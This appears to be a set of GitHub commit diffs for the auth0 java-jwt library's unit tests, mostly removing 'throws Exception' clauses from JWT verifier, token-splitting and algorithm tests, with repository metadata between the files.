-    public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
+    public void shouldThrowOnNegativeExpiresAtLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -711,7 +712,7 @@ public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
 
     // Not before
     @Test
-    public void shouldValidateNotBeforeWithLeeway() throws Exception {
+    public void shouldValidateNotBeforeWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptNotBefore(2);
@@ -723,7 +724,7 @@ public void shouldValidateNotBeforeWithLeeway() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidNotBeforeIfPresent() throws Exception {
+    public void shouldThrowOnInvalidNotBeforeIfPresent() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
 
@@ -735,7 +736,7 @@ public void shouldThrowOnInvalidNotBeforeIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldValidateNotBeforeIfPresent() throws Exception {
+    public void shouldValidateNotBeforeIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
@@ -746,7 +747,7 @@ public void shouldValidateNotBeforeIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
+    public void shouldThrowOnNegativeNotBeforeLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -756,7 +757,7 @@ public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
 
     // Issued At with future date
     @Test(expected = InvalidClaimException.class)
-    public void shouldThrowOnFutureIssuedAt() throws Exception {
+    public void shouldThrowOnFutureIssuedAt() {
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
@@ -766,7 +767,7 @@ public void shouldThrowOnFutureIssuedAt() throws Exception {
 
     // Issued At with future date and ignore flag
     @Test
-    public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() throws Exception {
+    public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() {
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification.ignoreIssuedAt();
@@ -776,7 +777,7 @@ public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidIssuedAtIfPresent() throws Exception {
+    public void shouldThrowOnInvalidIssuedAtIfPresent() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
 
@@ -788,7 +789,7 @@ public void shouldThrowOnInvalidIssuedAtIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() throws Exception {
+    public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptIssuedAt(1)
@@ -801,7 +802,7 @@ public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVe
     }
 
     @Test
-    public void shouldValidateIssuedAtIfPresent() throws Exception {
+    public void shouldValidateIssuedAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
@@ -812,7 +813,7 @@ public void shouldValidateIssuedAtIfPresent() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNegativeIssuedAtLeeway() throws Exception {
+    public void shouldThrowOnNegativeIssuedAtLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -821,7 +822,7 @@ public void shouldThrowOnNegativeIssuedAtLeeway() throws Exception {
     }
 
     @Test
-    public void shouldValidateJWTId() throws Exception {
+    public void shouldValidateJWTId() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withJWTId("jwt_id_123")
@@ -832,7 +833,7 @@ public void shouldValidateJWTId() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidJWTId() throws Exception {
+    public void shouldThrowOnInvalidJWTId() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'jti' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJqd3RfaWRfMTIzIn0.0kegfXUvwOYioP8PDaLMY1IlV8HOAzSVz3EGL7-jWF4";
@@ -843,7 +844,7 @@ public void shouldThrowOnInvalidJWTId() throws Exception {
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() throws Exception {
+    public void shouldRemoveClaimWhenPassingNull() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
@@ -863,7 +864,7 @@ public void shouldRemoveClaimWhenPassingNull() throws Exception {
     }
 
     @Test
-    public void shouldRemoveIssuerWhenPassingNullReference() throws Exception {
+    public void shouldRemoveIssuerWhenPassingNullReference() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String) null)
@@ -896,7 +897,7 @@ public void shouldRemoveIssuerWhenPassingNullReference() throws Exception {
     }
 
     @Test
-    public void shouldSkipClaimValidationsIfNoClaimsRequired() throws Exception {
+    public void shouldSkipClaimValidationsIfNoClaimsRequired() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-IDcSemACt8x4iTMCda8Yhe3iZaWbvV5XKSTbuAn0M";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .build()
@@ -926,7 +927,7 @@ public void shouldThrowWhenVerifyingClaimPresenceWhenClaimNameIsNull() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
 
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withClaim("custom", "value")
                 .sign(Algorithm.HMAC256("secret"));
 u}(jR  (d32ee85959e2bd15cea58390a650d5da605ccf72jS  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javajS  modifiedjS  KjS  Kj!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X2  @@ -14,7 +14,7 @@ public class TokenUtilsTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldSplitToken() throws Exception {
+    public void shouldSplitToken() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.W1mx_Y0hbAMbPmfW9whT605AAcxB7REFuJiDAHk2Sdc";
         String[] parts = TokenUtils.splitToken(token);
 
@@ -26,7 +26,7 @@ public void shouldSplitToken() throws Exception {
     }
 
     @Test
-    public void shouldSplitTokenWithEmptySignature() throws Exception {
+    public void shouldSplitTokenWithEmptySignature() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         String[] parts = TokenUtils.splitToken(token);
 
@@ -38,15 +38,15 @@ public void shouldSplitTokenWithEmptySignature() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithMoreThan3Parts() throws Exception {
+    public void shouldThrowOnSplitTokenWithMoreThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 4.");
         String token = "this.has.four.parts";
         TokenUtils.splitToken(token);
     }
 
     @Test
-    public void shouldThrowOnSplitTokenWithLessThan3Parts() throws Exception {
+    public void shouldThrowOnSplitTokenWithLessThan3Parts() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The token was expected to have 3 parts, but got 2.");
         String token = "two.parts";u}(jR  (dd919625b7b2d2ecb3871a433b9e611e75e33f4ajS  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javajS  modifiedjS  K<jS  K<j!S  Kxj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  XIV  @@ -25,193 +25,193 @@ public class AlgorithmTest {
 
 
     @Test
-    public void shouldThrowHMAC256InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC256InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC256(secret);
     }
 
     @Test
-    public void shouldThrowHMAC384InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC384InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC384(secret);
     }
 
     @Test
-    public void shouldThrowHMAC512InstanceWithNullSecretBytes() throws Exception {
+    public void shouldThrowHMAC512InstanceWithNullSecretBytes() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         byte[] secret = null;
         Algorithm.HMAC512(secret);
     }
 
     @Test
-    public void shouldThrowHMAC256InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC256InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC256(secret);
     }
 
     @Test
-    public void shouldThrowHMAC384InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC384InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC384(secret);
     }
 
     @Test
-    public void shouldThrowHMAC512InstanceWithNullSecret() throws Exception {
+    public void shouldThrowHMAC512InstanceWithNullSecret() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Secret cannot be null");
         String secret = null;
         Algorithm.HMAC512(secret);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA256(key);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA256(null, null);
     }
 
     @Test
-    public void shouldThrowRSA256InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA256InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA256(provider);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA384(key);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA384(null, null);
     }
 
     @Test
-    public void shouldThrowRSA384InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA384InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA384(provider);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKey() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         RSAKey key = null;
         Algorithm.RSA512(key);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKeys() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.RSA512(null, null);
     }
 
     @Test
-    public void shouldThrowRSA512InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowRSA512InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         RSAKeyProvider provider = null;
         Algorithm.RSA512(provider);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA256(key);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA256(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA256InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA256InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA256(provider);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA384(key);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA384(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA384InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA384InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA384(provider);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKey() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKey() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         ECKey key = null;
         Algorithm.ECDSA512(key);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKeys() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKeys() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Both provided Keys cannot be null.");
         Algorithm.ECDSA512(null, null);
     }
 
     @Test
-    public void shouldThrowECDSA512InstanceWithNullKeyProvider() throws Exception {
+    public void shouldThrowECDSA512InstanceWithNullKeyProvider() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Key Provider cannot be null.");
         ECDSAKeyProvider provider = null;
         Algorithm.ECDSA512(provider);
     }
 
     @Test
-    public void shouldCreateHMAC256AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC256AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC256("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -221,7 +221,7 @@ public void shouldCreateHMAC256AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC384AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC384AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC384("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -231,7 +231,7 @@ public void shouldCreateHMAC384AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC512AlgorithmWithBytes() throws Exception {
+    public void shouldCreateHMAC512AlgorithmWithBytes() {
         Algorithm algorithm = Algorithm.HMAC512("secret".getBytes(StandardCharsets.UTF_8));
 
         assertThat(algorithm, is(notNullValue()));
@@ -241,7 +241,7 @@ public void shouldCreateHMAC512AlgorithmWithBytes() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC256AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC256AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC256("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -251,7 +251,7 @@ public void shouldCreateHMAC256AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC384AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC384AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC384("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -261,7 +261,7 @@ public void shouldCreateHMAC384AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateHMAC512AlgorithmWithString() throws Exception {
+    public void shouldCreateHMAC512AlgorithmWithString() {
         Algorithm algorithm = Algorithm.HMAC512("secret");
 
         assertThat(algorithm, is(notNullValue()));
@@ -271,7 +271,7 @@ public void shouldCreateHMAC512AlgorithmWithString() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA256(key);
 
@@ -282,7 +282,7 @@ public void shouldCreateRSA256AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA256(key);
 
@@ -293,7 +293,7 @@ public void shouldCreateRSA256AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
@@ -305,7 +305,7 @@ public void shouldCreateRSA256AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA256AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA256AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA256(provider);
 
@@ -316,7 +316,7 @@ public void shouldCreateRSA256AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA384(key);
 
@@ -327,7 +327,7 @@ public void shouldCreateRSA384AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA384(key);
 
@@ -338,7 +338,7 @@ public void shouldCreateRSA384AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA384(publicKey, privateKey);
@@ -350,7 +350,7 @@ public void shouldCreateRSA384AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA384AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA384AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA384(provider);
 
@@ -361,7 +361,7 @@ public void shouldCreateRSA384AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithPublicKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPublicKey.class));
         Algorithm algorithm = Algorithm.RSA512(key);
 
@@ -372,7 +372,7 @@ public void shouldCreateRSA512AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithPrivateKey() {
         RSAKey key = mock(RSAKey.class, withSettings().extraInterfaces(RSAPrivateKey.class));
         Algorithm algorithm = Algorithm.RSA512(key);
 
@@ -383,7 +383,7 @@ public void shouldCreateRSA512AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithBothKeys() {
         RSAPublicKey publicKey = mock(RSAPublicKey.class);
         RSAPrivateKey privateKey = mock(RSAPrivateKey.class);
         Algorithm algorithm = Algorithm.RSA512(publicKey, privateKey);
@@ -395,7 +395,7 @@ public void shouldCreateRSA512AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateRSA512AlgorithmWithProvider() throws Exception {
+    public void shouldCreateRSA512AlgorithmWithProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
         Algorithm algorithm = Algorithm.RSA512(provider);
 
@@ -406,7 +406,7 @@ public void shouldCreateRSA512AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA256(key);
 
@@ -417,7 +417,7 @@ public void shouldCreateECDSA256AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA256(key);
 
@@ -428,7 +428,7 @@ public void shouldCreateECDSA256AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA256(publicKey, privateKey);
@@ -440,7 +440,7 @@ public void shouldCreateECDSA256AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA256AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA256(provider);
 
@@ -451,30 +451,30 @@ public void shouldCreateECDSA256AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA256KAlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA256KAlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        
+
         assertThat(algorithm, is(notNullValue()));
         assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
         assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
         assertThat(algorithm.getName(), is("ES256K"));
     }
-    
+
     @Test
-    public void shouldCreateECDSA256KAlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA256KAlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        
+
         assertThat(algorithm, is(notNullValue()));
         assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
         assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
         assertThat(algorithm.getName(), is("ES256K"));
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA384(key);
 
@@ -485,7 +485,7 @@ public void shouldCreateECDSA384AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
         Algorithm algorithm = Algorithm.ECDSA384(key);
 
@@ -496,7 +496,7 @@ public void shouldCreateECDSA384AlgorithmWithPrivateKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithBothKeys() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithBothKeys() {
         ECPublicKey publicKey = mock(ECPublicKey.class);
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         Algorithm algorithm = Algorithm.ECDSA384(publicKey, privateKey);
@@ -508,7 +508,7 @@ public void shouldCreateECDSA384AlgorithmWithBothKeys() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA384AlgorithmWithProvider() throws Exception {
+    public void shouldCreateECDSA384AlgorithmWithProvider() {
         ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
         Algorithm algorithm = Algorithm.ECDSA384(provider);
 
@@ -519,7 +519,7 @@ public void shouldCreateECDSA384AlgorithmWithProvider() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithPublicKey() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));
         Algorithm algorithm = Algorithm.ECDSA512(key);
 
@@ -530,7 +530,7 @@ public void shouldCreateECDSA512AlgorithmWithPublicKey() throws Exception {
     }
 
     @Test
-    public void shouldCreateECDSA512AlgorithmWithPrivateKey() throws Exception {
+    public void shouldCreateECDSA512AlgorithmWithPrivateKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPrivateKey.class));
